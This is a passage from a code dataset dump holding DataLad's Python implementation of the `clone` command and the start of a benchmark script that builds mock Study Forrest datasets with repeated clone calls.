a\\n single dataset can be obtained, and immediate recursive installation of\\n subdatasets is not supported. However, once a (super)dataset is installed\\n via `clone`, any content, including subdatasets can be obtained by a\\n subsequent `get` command.\\n\\n Primary differences over a direct `git clone` call are 1) the automatic\\n initialization of a dataset annex (pure Git repositories are equally\\n supported); 2) automatic registration of the newly obtained dataset as a\\n subdataset (submodule), if a parent dataset is specified; 3) support\\n for additional resource identifiers (DataLad resource identifiers as used\\n on datasets.datalad.org, and RIA store URLs as used for store.datalad.org\\n - optionally in specific versions as identified by a branch or a tag; see\\n examples); and 4) automatic configurable generation of alternative access\\n URL for common cases (such as appending '.git' to the URL in case the\\n accessing the base URL failed).\\n\\n In case the clone is registered as a subdataset, the original URL passed to\\n `clone` is recorded in `.gitmodules` of the parent dataset in addition\\n to the resolved URL used internally for git-clone. This allows to preserve\\n datalad specific URLs like ria+ssh://... for subsequent calls to `get` if\\n the subdataset was locally removed later on.\\n\\n || PYTHON >>By default, the command returns a single Dataset instance for\\n an installed dataset, regardless of whether it was newly installed ('ok'\\n result), or found already installed from the specified source ('notneeded'\\n result).<< PYTHON ||\\n\\n URL mapping configuration\\n\\n 'clone' supports the transformation of URLs via (multi-part) substitution\\n specifications. A substitution specification is defined as a configuration\\n setting 'datalad.clone.url-substition.<seriesID>' with a string containing\\n a match and substitution expression, each following Python's regular\\n expression syntax. Both expressions are concatenated to a single string\\n with an arbitrary delimiter character. The delimiter is defined by\\n prefixing the string with the delimiter. Prefix and delimiter are stripped\\n from the expressions (Example: \\\",^http://(.*)$,https://\\\\\\\\1\\\"). This setting\\n can be defined multiple times, using the same '<seriesID>'. Substitutions\\n in a series will be applied incrementally, in order of their definition.\\n The first substitution in such a series must match, otherwise no further\\n substitutions in a series will be considered. However, following the first\\n match all further substitutions in a series are processed, regardless\\n whether intermediate expressions match or not. Substitution series themselves\\n have no particular order, each matching series will result in a candidate\\n clone URL. Consequently, the initial match specification in a series should\\n be as precise as possible to prevent inflation of candidate URLs.\\n\\n .. seealso::\\n\\n :ref:`handbook:3-001`\\n More information on Remote Indexed Archive (RIA) stores\\n \\\"\\\"\\\"\\n # by default ignore everything but install results\\n # i.e. no \\\"add to super dataset\\\"\\n result_filter = EnsureKeyChoice('action', ('install',))\\n # very frequently this command will yield exactly one installed dataset\\n # spare people the pain of going through a list by default\\n return_type = 'item-or-list'\\n # as discussed in #1409 and #1470, we want to return dataset instances\\n # matching what is actually available after command completion (and\\n # None for any failed dataset installation)\\n result_xfm = 'successdatasets-or-none'\\n\\n _examples_ = [\\n dict(text=\\\"Install a dataset from GitHub into the current directory\\\",\\n code_py=\\\"clone(\\\"\\n \\\"source='https://github.com/datalad-datasets/longnow\\\"\\n \\\"-podcasts.git')\\\",\\n code_cmd=\\\"datalad clone \\\"\\n \\\"https://github.com/datalad-datasets/longnow-podcasts.git\\\"),\\n dict(text=\\\"Install a dataset into a specific directory\\\",\\n code_py=\\\"\\\"\\\"\\\\\\n clone(source='https://github.com/datalad-datasets/longnow-podcasts.git',\\n path='myfavpodcasts')\\\"\\\"\\\",\\n code_cmd=\\\"\\\"\\\"\\\\\\n datalad clone https://github.com/datalad-datasets/longnow-podcasts.git \\\\\\\\\\n myfavpodcasts\\\"\\\"\\\"),\\n dict(text=\\\"Install a dataset as a subdataset into the current dataset\\\",\\n code_py=\\\"\\\"\\\"\\\\\\n clone(dataset='.',\\n source='https://github.com/datalad-datasets/longnow-podcasts.git')\\\"\\\"\\\",\\n code_cmd=\\\"datalad clone -d . \\\"\\n \\\"https://github.com/datalad-datasets/longnow-podcasts.git\\\"),\\n dict(text=\\\"Install the main superdataset from datasets.datalad.org\\\",\\n code_py=\\\"clone(source='///')\\\",\\n code_cmd=\\\"datalad clone ///\\\"),\\n dict(text=\\\"Install a dataset identified by a literal alias from store.datalad.org\\\",\\n code_py=\\\"clone(source='ria+http://store.datalad.org#~hcp-openaccess')\\\",\\n code_cmd=\\\"datalad clone ria+http://store.datalad.org#~hcp-openaccess\\\"),\\n dict(\\n text=\\\"Install a dataset in a specific version as identified by a \\\"\\n \\\"branch or tag name from store.datalad.org\\\",\\n code_py=\\\"clone(source='ria+http://store.datalad.org#76b6ca66-36b1-11ea-a2e6-f0d5bf7b5561@myidentifier')\\\",\\n code_cmd=\\\"datalad clone ria+http://store.datalad.org#76b6ca66-36b1-11ea-a2e6-f0d5bf7b5561@myidentifier\\\"),\\n dict(\\n text=\\\"Install a dataset with group-write access permissions\\\",\\n code_py=\\\\\\n \\\"clone(source='http://example.com/dataset', reckless='shared-group')\\\",\\n code_cmd=\\\\\\n \\\"datalad clone http://example.com/dataset --reckless shared-group\\\"),\\n ]\\n\\n _params_ = dict(\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n doc=\\\"\\\"\\\"(parent) dataset to clone into. If given, the newly cloned\\n dataset is registered as a subdataset of the parent. Also, if given,\\n relative paths are interpreted as being relative to the parent\\n dataset, and not relative to the working directory.\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n source=Parameter(\\n args=(\\\"source\\\",),\\n metavar='SOURCE',\\n doc=\\\"\\\"\\\"URL, DataLad resource identifier, local path or instance of\\n dataset to be cloned\\\"\\\"\\\",\\n constraints=EnsureStr()),\\n path=Parameter(\\n args=(\\\"path\\\",),\\n metavar='PATH',\\n nargs=\\\"?\\\",\\n doc=\\\"\\\"\\\"path to clone into. If no `path` is provided a\\n destination path will be derived from a source URL\\n similar to :command:`git clone`\\\"\\\"\\\"),\\n git_clone_opts=Parameter(\\n args=(\\\"git_clone_opts\\\",),\\n metavar='GIT CLONE OPTIONS',\\n nargs=REMAINDER,\\n doc=\\\"\\\"\\\"[PY: A list of command line arguments PY][CMD: Options CMD]\\n to pass to :command:`git clone`. [CMD: Any argument specified after\\n SOURCE and the optional PATH will be passed to git-clone. CMD] Note\\n that not all options will lead to viable results. For example\\n '--single-branch' will not result in a functional annex repository\\n because both a regular branch and the git-annex branch are\\n required. Note that a version in a RIA URL takes precedence over\\n '--branch'.\\\"\\\"\\\"),\\n description=location_description,\\n reckless=reckless_opt,\\n )\\n\\n @staticmethod\\n @datasetmethod(name='clone')\\n @eval_results\\n def __call__(\\n source,\\n path=None,\\n git_clone_opts=None,\\n *,\\n dataset=None,\\n description=None,\\n reckless=None,\\n ):\\n # did we explicitly get a dataset to install into?\\n # if we got a dataset, path will be resolved against it.\\n # Otherwise path will be resolved first.\\n ds = require_dataset(\\n dataset, check_installed=True, purpose='clone') \\\\\\n if dataset is not None else dataset\\n refds_path = ds.path if ds else None\\n\\n # legacy compatibility\\n if reckless is True:\\n # so that we can forget about how things used to be\\n reckless = 'auto'\\n\\n if isinstance(source, Dataset):\\n source = source.path\\n\\n if source == path:\\n # even if they turn out to be identical after resolving symlinks\\n # and more sophisticated witchcraft, it would still happily say\\n # \\\"it appears to be already installed\\\", so we just catch an\\n # obviously pointless input combination\\n raise ValueError(\\n \\\"clone `source` and destination `path` are identical [{}]. \\\"\\n \\\"If you are trying to add a subdataset simply use `save`\\\".format(\\n path))\\n\\n if path is not None:\\n path = resolve_path(path, dataset)\\n\\n # derive target from source:\\n if path is None:\\n # we got nothing but a source. do something similar to git clone\\n # and derive the path from the source and continue\\n # since this is a relative `path`, resolve it:\\n # we are not going to reuse the decoded URL, as this is done for\\n # all source candidates in clone_dataset(), we just use to determine\\n # a destination path here in order to perform a bunch of additional\\n # checks that shall not pollute the helper function\\n source_ = decode_source_spec(\\n source, cfg=None if ds is None else ds.config)\\n path = resolve_path(source_['default_destpath'], dataset)\\n lgr.debug(\\\"Determined clone target path from source\\\")\\n lgr.debug(\\\"Resolved clone target path to: '%s'\\\", path)\\n\\n # there is no other way -- my intoxicated brain tells me\\n assert(path is not None)\\n\\n result_props = dict(\\n action='install',\\n logger=lgr,\\n refds=refds_path,\\n source_url=source)\\n\\n try:\\n # this will implicitly cause pathlib to run a bunch of checks\\n # whether the present path makes any sense on the platform\\n # we are running on -- we don't care if the path actually\\n # exists at this point, but we want to abort early if the path\\n # spec is determined to be useless\\n # we can do strict=False since we are 3.6+\\n path.resolve(strict=False)\\n except OSError as e:\\n ce = CapturedException(e)\\n yield get_status_dict(\\n status='error',\\n path=path,\\n message=('cannot handle target path: %s', ce),\\n exception=ce,\\n **result_props)\\n return\\n\\n destination_dataset = Dataset(path)\\n result_props['ds'] = destination_dataset\\n\\n if ds is not None and ds.pathobj not in path.parents:\\n yield get_status_dict(\\n status='error',\\n message=(\\\"clone target path '%s' not in specified target dataset '%s'\\\",\\n path, ds),\\n **result_props)\\n return\\n\\n # perform the actual cloning operation\\n clone_failure = False\\n for r in clone_dataset(\\n [source],\\n destination_dataset,\\n reckless,\\n description,\\n result_props,\\n cfg=None if ds is None else ds.config,\\n clone_opts=git_clone_opts,\\n ):\\n if r['status'] in ['error', 'impossible']:\\n clone_failure = True\\n yield r\\n\\n if clone_failure:\\n # do not proceed saving anything if cloning failed\\n return\\n\\n # TODO handle any 'version' property handling and verification using a\\n # dedicated public helper\\n\\n if ds is not None:\\n # we created a dataset in another dataset\\n # -> make submodule\\n actually_saved_subds = False\\n for r in ds.save(\\n path,\\n # Note, that here we know we don't save anything but a new\\n # subdataset. Hence, don't go with default commit message,\\n # but be more specific.\\n message=\\\"[DATALAD] Added subdataset\\\",\\n return_type='generator',\\n result_filter=None,\\n result_xfm=None,\\n result_renderer='disabled',\\n on_failure='ignore'):\\n actually_saved_subds = actually_saved_subds or (\\n r['action'] == 'save' and\\n r['type'] == 'dataset' and\\n r['refds'] == ds.path and\\n r['status'] == 'ok')\\n yield r\\n\\n # Modify .gitmodules to contain originally given url. This is\\n # particularly relevant for postclone routines on a later `get`\\n # for that subdataset. See gh-5256.\\n\\n if isinstance(RI(source), PathRI):\\n # ensure posix paths; Windows paths would neither be meaningful\\n # as a committed path nor are they currently stored correctly\\n # (see gh-7182).\\n # Restricted to when 'source' is identified as a path, b/c this\\n # wouldn't work with file-URLs (ria or not):\\n #\\n # PureWindowsPath(\\\"file:///C:/somewhere/path\\\").as_posix() ->\\n # 'file:/C:/somewhere/path'\\n source = PurePath(source).as_posix()\\n if actually_saved_subds:\\n # New subdataset actually saved. Amend the modification\\n # of .gitmodules.\\n # Note, that we didn't allow deviating from git's default\\n # behavior WRT a submodule's name vs its path when we made this\\n # a new subdataset.\\n subds_name = path.relative_to(ds.pathobj)\\n ds.repo.call_git(\\n ['config',\\n '--file',\\n '.gitmodules',\\n '--replace-all',\\n 'submodule.{}.{}'.format(subds_name,\\n \\\"datalad-url\\\"),\\n source]\\n )\\n yield from ds.save('.gitmodules',\\n amend=True, to_git=True,\\n result_renderer='disabled',\\n return_type='generator')\\n else:\\n # We didn't really commit. Just call `subdatasets`\\n # in that case to have the modification included in the\\n # post-clone state (whatever that may be).\\n ds.subdatasets(path, set_property=[(\\\"datalad-url\\\", source)])\\n\\n\\ndef clone_dataset(\\n srcs,\\n destds,\\n reckless=None,\\n description=None,\\n result_props=None,\\n cfg=None,\\n checkout_gitsha=None,\\n clone_opts=None):\\n \\\"\\\"\\\"Internal helper to perform cloning without sanity checks (assumed done)\\n\\n This helper does not handle any saving of subdataset modification or adding\\n in a superdataset.\\n\\n Parameters\\n ----------\\n srcs : list\\n Any suitable clone source specifications (paths, URLs)\\n destds : Dataset\\n Dataset instance for the clone destination\\n reckless : {None, 'auto', 'ephemeral', 'shared-...'}, optional\\n Mode switch to put cloned dataset into unsafe/throw-away configurations, i.e.\\n sacrifice data safety for performance or resource footprint. When None\\n and `cfg` is specified, use the value of `datalad.clone.reckless`.\\n description : str, optional\\n Location description for the annex of the dataset clone (if there is any).\\n result_props : dict, optional\\n Default properties for any yielded result, passed on to get_status_dict().\\n cfg : ConfigManager, optional\\n Configuration for parent dataset. This will be queried instead\\n of the global DataLad configuration.\\n checkout_gitsha : str, optional\\n If given, a specific commit, identified by shasum, will be checked out after\\n cloning. A dedicated follow-up fetch will be performed, if the initial clone\\n did not obtain the commit object. Should the checkout of the target commit\\n cause a detached HEAD, the previously active branch will be reset to the\\n target commit.\\n clone_opts : list of str, optional\\n Options passed to git-clone. Note that for RIA URLs, the version is\\n translated to a --branch argument, and that will take precedence over a\\n --branch argument included in this value.\\n\\n Yields\\n ------\\n dict\\n DataLad result records\\n \\\"\\\"\\\"\\n # apply the two in-house patches, do local to avoid circular imports\\n from . import (\\n clone_ephemeral,\\n clone_ria,\\n )\\n\\n if not result_props:\\n # in case the caller had no specific idea on how results should look\\n # like, provide sensible defaults\\n result_props = dict(\\n action='install',\\n logger=lgr,\\n ds=destds,\\n )\\n else:\\n result_props = result_props.copy()\\n\\n candidate_sources = _generate_candidate_clone_sources(\\n destds, srcs, cfg)\\n\\n # important test!\\n # based on this `rmtree` will happen below after failed clone\\n dest_path_existed, stop_props = _test_existing_clone_target(\\n destds, candidate_sources)\\n if stop_props:\\n # something happened that indicates we cannot continue\\n # yield and return\\n result_props.update(stop_props)\\n yield get_status_dict(**result_props)\\n return\\n\\n if reckless is None and cfg:\\n # if reckless is not explicitly given, but we operate on a\\n # superdataset, query whether it has been instructed to operate\\n # in a reckless mode, and inherit it for the coming clone\\n reckless = cfg.get('datalad.clone.reckless', None)\\n\\n last_candidate, error_msgs, stop_props = _try_clone_candidates(\\n destds=destds,\\n candidate_sources=candidate_sources,\\n clone_opts=clone_opts or [],\\n dest_path_existed=dest_path_existed,\\n )\\n if stop_props:\\n # no luck, report and stop\\n result_props.update(stop_props)\\n yield get_status_dict(**result_props)\\n return\\n else:\\n # we can record the last attempt as the candidate URL that gave\\n # a successful clone\\n result_props['source'] = last_candidate\\n\\n if not destds.is_installed():\\n # we do not have a clone, stop, provide aggregate error message\\n # covering all attempts\\n yield get_status_dict(\\n status='error',\\n message=_format_clone_errors(\\n destds, error_msgs, last_candidate['giturl']),\\n **result_props)\\n return\\n\\n #\\n # At minimum all further processing is all candidate for extension\\n # patching. wrap the whole thing in try-except, catch any exceptions\\n # report it as an error results `rmtree` any intermediate and return\\n #\\n try:\\n yield from _post_gitclone_processing_(\\n destds=destds,\\n cfg=cfg,\\n gitclonerec=last_candidate,\\n reckless=reckless,\\n checkout_gitsha=checkout_gitsha,\\n description=description,\\n )\\n except Exception as e:\\n ce = CapturedException(e)\\n # the rational for turning any exception into an error result is that\\n # we are hadly able to distinguish user-error from an other errors\\n yield get_status_dict(\\n status='error',\\n # XXX A test in core insists on the wrong message type to be used\\n #error_message=ce.message,\\n message=ce.message,\\n exception=ce,\\n **result_props,\\n )\\n rmtree(destds.path, children_only=dest_path_existed)\\n return\\n\\n # yield successful clone of the base dataset now, as any possible\\n # subdataset clone down below will not alter the Git-state of the\\n # parent\\n yield get_status_dict(status='ok', **result_props)\\n\\n\\ndef _post_gitclone_processing_(\\n *,\\n destds: Dataset,\\n cfg: ConfigManager,\\n gitclonerec: Dict,\\n reckless: None or str,\\n checkout_gitsha: None or str,\\n description: None or str,\\n):\\n \\\"\\\"\\\"Perform git-clone post-processing\\n\\n This is helper is called immediately after a Git clone was established.\\n\\n The properties of that clone are passed via `gitclonerec`.\\n\\n Yields\\n ------\\n DataLad result records\\n \\\"\\\"\\\"\\n dest_repo = destds.repo\\n remote = _get_remote(dest_repo)\\n\\n yield from _post_git_init_processing_(\\n destds=destds,\\n cfg=cfg,\\n gitclonerec=gitclonerec,\\n remote=remote,\\n reckless=reckless,\\n )\\n\\n if knows_annex(destds.path):\\n # init annex when traces of a remote annex can be detected\\n yield from _pre_annex_init_processing_(\\n destds=destds,\\n cfg=cfg,\\n gitclonerec=gitclonerec,\\n remote=remote,\\n reckless=reckless,\\n )\\n dest_repo = _annex_init(\\n destds=destds,\\n cfg=cfg,\\n gitclonerec=gitclonerec,\\n remote=remote,\\n description=description,\\n )\\n yield from _post_annex_init_processing_(\\n destds=destds,\\n cfg=cfg,\\n gitclonerec=gitclonerec,\\n remote=remote,\\n reckless=reckless,\\n )\\n\\n if checkout_gitsha and \\\\\\n dest_repo.get_hexsha(\\n dest_repo.get_corresponding_branch()) != checkout_gitsha:\\n try:\\n postclone_checkout_commit(dest_repo, checkout_gitsha,\\n remote=remote)\\n except Exception:\\n # We were supposed to clone a particular version but failed to.\\n # This is particularly pointless in case of subdatasets and\\n # potentially fatal with current implementation of recursion.\\n # see gh-5387\\n lgr.debug(\\n \\\"Failed to checkout %s, removing this clone attempt at %s\\\",\\n checkout_gitsha, destds.path)\\n raise\\n\\n yield from _pre_final_processing_(\\n destds=destds,\\n cfg=cfg,\\n gitclonerec=gitclonerec,\\n remote=remote,\\n reckless=reckless,\\n )\\n\\n\\ndef _post_git_init_processing_(\\n *,\\n destds: Dataset,\\n cfg: ConfigManager,\\n gitclonerec: Dict,\\n remote: str,\\n reckless: None or str,\\n):\\n \\\"\\\"\\\"Any post-git-init processing that need not be concerned with git-annex\\n \\\"\\\"\\\"\\n if not gitclonerec.get(\\\"version\\\"):\\n postclone_check_head(destds, remote=remote)\\n\\n # act on --reckless=shared-...\\n # must happen prior git-annex-init, where we can cheaply alter the repo\\n # setup through safe re-init'ing\\n if reckless and reckless.startswith('shared-'):\\n lgr.debug(\\n 'Reinitializing %s to enable shared access permissions',\\n destds)\\n destds.repo.call_git(['init', '--shared={}'.format(reckless[7:])])\\n\\n # trick to have the function behave like a generator, even if it\\n # (currently) doesn't actually yield anything.\\n # but a patched version might want to...so for uniformity with\\n # _post_annex_init_processing_() let's do this\\n if False:\\n yield\\n\\n\\ndef _pre_annex_init_processing_(\\n *,\\n destds: Dataset,\\n cfg: ConfigManager,\\n gitclonerec: Dict,\\n remote: str,\\n reckless: None or str,\\n):\\n \\\"\\\"\\\"Pre-processing a to-be-initialized annex repository\\\"\\\"\\\"\\n if reckless == 'auto':\\n lgr.debug(\\n \\\"Instruct annex to hardlink content in %s from local \\\"\\n \\\"sources, if possible (reckless)\\\", destds.path)\\n destds.config.set(\\n 'annex.hardlink', 'true', scope='local', reload=True)\\n\\n # trick to have the function behave like a generator, even if it\\n # (currently) doesn't actually yield anything.\\n if False:\\n yield\\n\\n\\ndef _annex_init(\\n *,\\n destds: Dataset,\\n cfg: ConfigManager,\\n gitclonerec: Dict,\\n remote: str,\\n description: None or str,\\n):\\n \\\"\\\"\\\"Initializing an annex repository\\\"\\\"\\\"\\n lgr.debug(\\\"Initializing annex repo at %s\\\", destds.path)\\n # Note, that we cannot enforce annex-init via AnnexRepo().\\n # If such an instance already exists, its __init__ will not be executed.\\n # Therefore do quick test once we have an object and decide whether to call\\n # its _init().\\n #\\n # Additionally, call init if we need to add a description (see #1403),\\n # since AnnexRepo.__init__ can only do it with create=True\\n repo = AnnexRepo(destds.path, init=True)\\n if not repo.is_initialized() or description:\\n repo._init(description=description)\\n return repo\\n\\n\\ndef _post_annex_init_processing_(\\n *,\\n destds: Dataset,\\n cfg: ConfigManager,\\n gitclonerec: Dict,\\n remote: str,\\n reckless: None or str,\\n):\\n \\\"\\\"\\\"Post-processing an annex repository\\\"\\\"\\\"\\n # convenience aliases\\n repo = destds.repo\\n ds = destds\\n\\n if reckless == 'auto' or (reckless and reckless.startswith('shared-')):\\n repo.call_annex(['untrust', 'here'])\\n\\n _check_autoenable_special_remotes(repo)\\n\\n # we have just cloned the repo, so it has a remote `remote`, configure any\\n # reachable origin of origins\\n yield from configure_origins(ds, ds, remote=remote)\\n\\n\\ndef _pre_final_processing_(\\n *,\\n destds: Dataset,\\n cfg: ConfigManager,\\n gitclonerec: Dict,\\n remote: str,\\n reckless: None or str,\\n):\\n \\\"\\\"\\\"Any post-processing after Git and git-annex pieces are fully initialized\\n \\\"\\\"\\\"\\n if reckless:\\n # store the reckless setting in the dataset to make it\\n # known to later clones of subdatasets via get()\\n destds.config.set(\\n 'datalad.clone.reckless', reckless,\\n scope='local',\\n reload=True)\\n else:\\n # We would still want to reload configuration to ensure that any of the\\n # above git invocations could have potentially changed the config\\n # TODO: might no longer be necessary if 0.14.0 adds reloading upon\\n # non-readonly commands invocation\\n destds.config.reload()\\n\\n # trick to have the function behave like a generator, even if it\\n # (currently) doesn't actually yield anything.\\n if False:\\n yield\\n\\n\\ndef postclone_checkout_commit(repo, target_commit, remote=\\\"origin\\\"):\\n \\\"\\\"\\\"Helper to check out a specific target commit in a fresh clone.\\n\\n Will not check (again) if current commit and target commit are already\\n the same!\\n \\\"\\\"\\\"\\n # record what branch we were on right after the clone\\n active_branch = repo.get_active_branch()\\n corr_branch = repo.get_corresponding_branch(branch=active_branch)\\n was_adjusted = bool(corr_branch)\\n repo_orig_branch = corr_branch or active_branch\\n # if we are on a branch this hexsha will be the tip of that branch\\n repo_orig_hexsha = repo.get_hexsha(repo_orig_branch)\\n # make sure we have the desired commit locally\\n # expensive and possibly error-prone fetch conditional on cheap\\n # local check\\n if not repo.commit_exists(target_commit):\\n try:\\n repo.fetch(remote=remote, refspec=target_commit)\\n except CommandError as e:\\n CapturedException(e)\\n pass\\n # instead of inspecting the fetch results for possible ways\\n # with which it could failed to produced the desired result\\n # let's verify the presence of the commit directly, we are in\\n # expensive-land already anyways\\n if not repo.commit_exists(target_commit):\\n # there is nothing we can do about this\\n # MIH thinks that removing the clone is not needed, as a likely\\n # next step will have to be a manual recovery intervention\\n # and not another blind attempt\\n raise ValueError(\\n 'Target commit %s does not exist in the clone, and '\\n 'a fetch that commit from remote failed'\\n % target_commit[:8])\\n # checkout the desired commit\\n repo.call_git(['checkout', target_commit])\\n # did we detach?\\n if repo_orig_branch and not repo.get_active_branch():\\n # trace if current state is a predecessor of the branch_hexsha\\n lgr.debug(\\n \\\"Detached HEAD after resetting worktree of %s \\\"\\n \\\"(original branch: %s)\\\", repo, repo_orig_branch)\\n if repo.get_merge_base(\\n [repo_orig_hexsha, target_commit]) == target_commit:\\n # we assume the target_commit to be from the same branch,\\n # because it is an ancestor -- update that original branch\\n # to point to the target_commit, and update HEAD to point to\\n # that location\\n lgr.info(\\n \\\"Reset branch '%s' to %s (from %s) to \\\"\\n \\\"avoid a detached HEAD\\\",\\n repo_orig_branch, target_commit[:8], repo_orig_hexsha[:8])\\n branch_ref = 'refs/heads/%s' % repo_orig_branch\\n repo.update_ref(branch_ref, target_commit)\\n repo.update_ref('HEAD', branch_ref, symbolic=True)\\n if was_adjusted:\\n # Note: The --force is needed because the adjust branch already\\n # exists.\\n repo.adjust(options=[\\\"--unlock\\\", \\\"--force\\\"])\\n else:\\n lgr.warning(\\n \\\"%s has a detached HEAD, because the target commit \\\"\\n \\\"%s has no unique ancestor with branch '%s'\\\",\\n repo, target_commit[:8], repo_orig_branch)\\n\\n\\ndef postclone_check_head(ds, remote=\\\"origin\\\"):\\n repo = ds.repo\\n if not repo.commit_exists(\\\"HEAD\\\"):\\n # HEAD points to an unborn branch. A likely cause of this is that the\\n # remote's main branch is something other than master but HEAD wasn't\\n # adjusted accordingly.\\n #\\n # Let's choose the most recently updated remote ref (according to\\n # commit date). In the case of a submodule, switching to a ref with\\n # commits prevents .update_submodule() from failing. It is likely that\\n # the ref includes the registered commit, but we don't have the\\n # information here to know for sure. If it doesn't, .update_submodule()\\n # will check out a detached HEAD.\\n remote_branches = (\\n b[\\\"refname:strip=2\\\"] for b in repo.for_each_ref_(\\n fields=\\\"refname:strip=2\\\", sort=\\\"-committerdate\\\",\\n pattern=\\\"refs/remotes/\\\" + remote))\\n for rbranch in remote_branches:\\n if rbranch in [remote + \\\"/git-annex\\\", \\\"HEAD\\\"]:\\n continue\\n if rbranch.startswith(remote + \\\"/adjusted/\\\"):\\n # If necessary for this file system, a downstream\\n # git-annex-init call will handle moving into an\\n # adjusted state.\\n continue\\n repo.call_git([\\\"checkout\\\", \\\"-b\\\",\\n rbranch[len(remote) + 1:], # drop \\\"<remote>/\\\"\\n \\\"--track\\\", rbranch])\\n lgr.debug(\\\"Checked out local branch from %s\\\", rbranch)\\n return\\n lgr.warning(\\\"Cloned %s but could not find a branch \\\"\\n \\\"with commits\\\", ds.path)\\n\\n\\ndef configure_origins(cfgds, probeds, label=None, remote=\\\"origin\\\"):\\n \\\"\\\"\\\"Configure any discoverable local dataset sibling as a remote\\n\\n Parameters\\n ----------\\n cfgds : Dataset\\n Dataset to receive the remote configurations\\n probeds : Dataset\\n Dataset to start looking for `remote` remotes. May be identical with\\n `cfgds`.\\n label : int, optional\\n Each discovered remote will be configured as a remote under the name\\n '<remote>-<label>'. If no label is given, '2' will be used by default,\\n given that there is typically a remote named `remote` already.\\n remote : str, optional\\n Name of the default remote on clone.\\n \\\"\\\"\\\"\\n if label is None:\\n label = 1\\n # let's look at the URL for that remote and see if it is a local\\n # dataset\\n origin_url = probeds.config.get(f'remote.{remote}.url')\\n if not origin_url:\\n # no remote with default name, nothing to do\\n return\\n if not cfgds.config.obtain(\\n 'datalad.install.inherit-local-origin',\\n default=True):\\n # no inheritance wanted\\n return\\n if not isinstance(RI(origin_url), PathRI):\\n # not local path\\n return\\n\\n # no need to reconfigure original/direct remote again\\n if cfgds != probeds:\\n # prevent duplicates\\n known_remote_urls = set(\\n cfgds.config.get(r + '.url', None)\\n for r in cfgds.config.sections()\\n if r.startswith('remote.')\\n )\\n if origin_url not in known_remote_urls:\\n yield from cfgds.siblings(\\n 'configure',\\n # no chance for conflict, can only be the second configured\\n # remote\\n name='{}-{}'.format(remote, label),\\n url=origin_url,\\n # fetch to get all annex info\\n fetch=True,\\n result_renderer='disabled',\\n on_failure='ignore',\\n )\\n # and dive deeper\\n # given the clone source is a local dataset, we can have a\\n # cheap look at it, and configure its own `remote` as a remote\\n # (if there is any), and benefit from additional annex availability\\n yield from configure_origins(\\n cfgds,\\n Dataset(probeds.pathobj / origin_url),\\n label=label + 1,\\n remote=remote)\\n\"\n },\n {\n \"alpha_fraction\": 0.6037896275520325,\n \"alphanum_fraction\": 0.6135831475257874,\n \"avg_line_length\": 46.92856979370117,\n \"blob_id\": \"5fb74c2aecafbbc29464589011836cda30753bb0\",\n \"content_id\": \"a7240553d9ffb0e0ffccd2ca6396a10bc1956589\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4697,\n \"license_type\": \"permissive\",\n \"max_line_length\": 94,\n \"num_lines\": 98,\n \"path\": \"/benchmarks/usecases.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# ex: set sts=4 ts=4 sw=4 noet:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Benchmarks for some use cases, typically at datalad.api level\\\"\\\"\\\"\\n\\nimport sys\\nimport tempfile\\nfrom datalad.utils import get_tempfile_kwargs\\nimport os.path as osp\\nfrom os.path import join as opj\\n\\nfrom datalad.api import create\\n\\nfrom datalad.utils import (\\n create_tree,\\n rmtree,\\n)\\n\\nfrom .common import SuprocBenchmarks\\n\\n\\nclass study_forrest(SuprocBenchmarks):\\n \\\"\\\"\\\"\\n Benchmarks for Study Forrest use cases\\n \\\"\\\"\\\"\\n\\n timeout = 180 # especially with profiling might take longer than default 60s\\n\\n def setup(self):\\n self.path = tempfile.mkdtemp(**get_tempfile_kwargs({}, prefix='bm_forrest'))\\n\\n def teardown(self):\\n if osp.exists(self.path):\\n rmtree(self.path)\\n\\n def time_make_studyforrest_mockup(self):\\n path = self.path\\n # Carries a copy of the\\n # datalad.tests.utils_testdatasets.py:make_studyforrest_mockup\\n # as of 0.12.0rc2-76-g6ba6d53b\\n # A copy is made so we do not reflect in the benchmark results changes\\n # to that helper's code. This copy only tests on 2 not 3 analyses\\n # subds\\n public = create(opj(path, 'public'), description=\\\"umbrella dataset\\\")\\n # the following tries to capture the evolution of the project\\n phase1 = public.create('phase1',\\n description='old-style, no connection to RAW')\\n structural = public.create('structural', description='anatomy')\\n tnt = public.create('tnt', description='image templates')\\n tnt.clone(source=phase1.path, path=opj('src', 'phase1'), reckless=True)\\n tnt.clone(source=structural.path, path=opj('src', 'structural'), reckless=True)\\n aligned = public.create('aligned', description='aligned image data')\\n aligned.clone(source=phase1.path, path=opj('src', 'phase1'), reckless=True)\\n aligned.clone(source=tnt.path, path=opj('src', 'tnt'), reckless=True)\\n # new acquisition\\n labet = create(opj(path, 'private', 'labet'), description=\\\"raw data ET\\\")\\n phase2_dicoms = create(opj(path, 'private', 'p2dicoms'), description=\\\"raw data P2MRI\\\")\\n phase2 = public.create('phase2',\\n description='new-style, RAW connection')\\n phase2.clone(source=labet.path, path=opj('src', 'labet'), reckless=True)\\n phase2.clone(source=phase2_dicoms.path, path=opj('src', 'dicoms'), reckless=True)\\n # add to derivatives\\n tnt.clone(source=phase2.path, path=opj('src', 'phase2'), reckless=True)\\n aligned.clone(source=phase2.path, path=opj('src', 'phase2'), reckless=True)\\n # never to be published media files\\n media = create(opj(path, 'private', 'media'), description=\\\"raw data ET\\\")\\n # assuming all annotations are in one dataset (in reality this is also\\n # a superdatasets with about 10 subdatasets\\n annot = public.create('annotations', description='stimulus annotation')\\n annot.clone(source=media.path, path=opj('src', 'media'), reckless=True)\\n # a few typical analysis datasets\\n # (just doing 2, actual status quo is just shy of 10)\\n # and also the real goal -> meta analysis\\n metaanalysis = public.create('metaanalysis', description=\\\"analysis of analyses\\\")\\n for i in range(1, 2):\\n ana = public.create('analysis{}'.format(i),\\n description='analysis{}'.format(i))\\n ana.clone(source=annot.path, path=opj('src', 'annot'), reckless=True)\\n ana.clone(source=aligned.path, path=opj('src', 'aligned'), reckless=True)\\n ana.clone(source=tnt.path, path=opj('src', 